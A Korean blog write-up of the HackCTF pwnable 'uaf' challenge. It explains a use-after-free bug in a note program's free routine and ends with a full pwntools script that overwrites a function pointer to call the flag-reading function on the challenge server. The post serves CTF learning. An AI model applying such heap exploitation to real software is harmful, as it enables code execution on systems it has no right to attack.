WAR GAME/HackCTF

[HackCTF : Pwnable] uaf 풀이 (32bit, uaf, 힙알못)

jir4vvit 2021. 4. 15. 15:28

문제 풀이 환경 : ubuntu 18.04
사용 툴 : IDA 7.5 pro

 

힙알못uaf 문제 풀이입니당 힙알못이라 푸는데 오래 걸렸음


주어진 파일은 문제파일 바이너리

 

 

Analysis

일단 실행

종현님이랑 엉덩이 공부를 할 수 있다. 

 

느낌상, uaf를 이용해야하고 힙에 원하는 바이트만큼 쓸수도 있고 삭제도 되고 출력도 되는 것 같다.

솔직히 여기까지 개쉽겠다라고 생각했다. (사실 개쉬운 문제 맞다.)

 

암튼.. uaf라고 함은... use after free... free된 후 사용하는건데

malloc하고 free한 후, 방금 free된 바이트 수? 만큼 똑같이 malloc하면 똑같은 자리에 위치된다? 이거를 이용하는 것이다.

 

IDA

main에서 봐야할 것은 4가지 함수이다. 

add_note

del_note

print_note

magic : magic은 그냥 flag 읽어주는 함수~ 최종적으로 이 함수가 실행되어야 한다.

 

  • add_note

malloc(0x8)

malloc(사용자size)

 

add_note를 한번하면 malloc을 두번한다.

 

 

  • del_note

free를 해준다.

함수포인터(print_note_content)보다 내가 입력한 size만큼 할당된 힙 영역을 먼저 free시켜준다.

 

여기서 문제가 free했는데도 notelist... 저기는 초기화를 안시켜주는게 문제다. (취약점)

free를 했음에도 notelist 저기에 포인터가 남아있어서 참조를 여전히 할 수 있다.

 

위 메모리 그림상... 0x804c160 자리에 magic 함수 주소가 있으면...? 어떻게 될까 흐흐흐

 

 

  • print_note

처음에 add_note에서 malloc(0x8)해서 함수포인터(print_note_content) 저장한거 기억나는가?

print_note 함수에서는 그 함수포인터를 호출한다.

 

결론은 함수포인터에 magic주소를 넣어서 함수포인터를 호출하면 magic 함수가 호출될 것이다.

 

 

How to exploit

취약점 : free할 때 notelist 초기화를 안시켜줌 -> 참조를 여전히 할 수 있다.

이용해야할 것 : uaf는 동일한 사이즈를 free후 malloc하면 free된 자리에 먼저 할당이 된다.

 

색끼리 같은 메모리상의 위치 입니다.

 

1 malloc(8)      -> 함포
2 malloc(1337)  -> 유저
3 malloc(8)      -> 함포
4 malloc(1337)  -> 유저

모두 해제후 다시 할당

malloc(8)  -> 유저
malloc(8)  -> 함포

 

Let's exploit

from pwn import *

#p = process('./uaf')
p = remote('ctf.j0n9hyun.xyz', 3020)
e = ELF('./uaf')

magic = e.symbols['magic']

p.sendlineafter(':', '1')
p.sendlineafter(':', '100')
p.sendlineafter(':', 'AAAAAAAA')

p.sendlineafter(':', '1')
p.sendlineafter(':', '100')
p.sendlineafter(':', 'a')

p.sendlineafter(':', '2')
p.sendlineafter(':', '0')
p.sendlineafter(':', '2')
p.sendlineafter(':', '1')

p.sendlineafter(':', '1')
p.sendlineafter(':', '8')
p.sendlineafter(':', p32(magic))

p.sendlineafter(':', '3')
p.sendlineafter(':', '0')

p.interactive()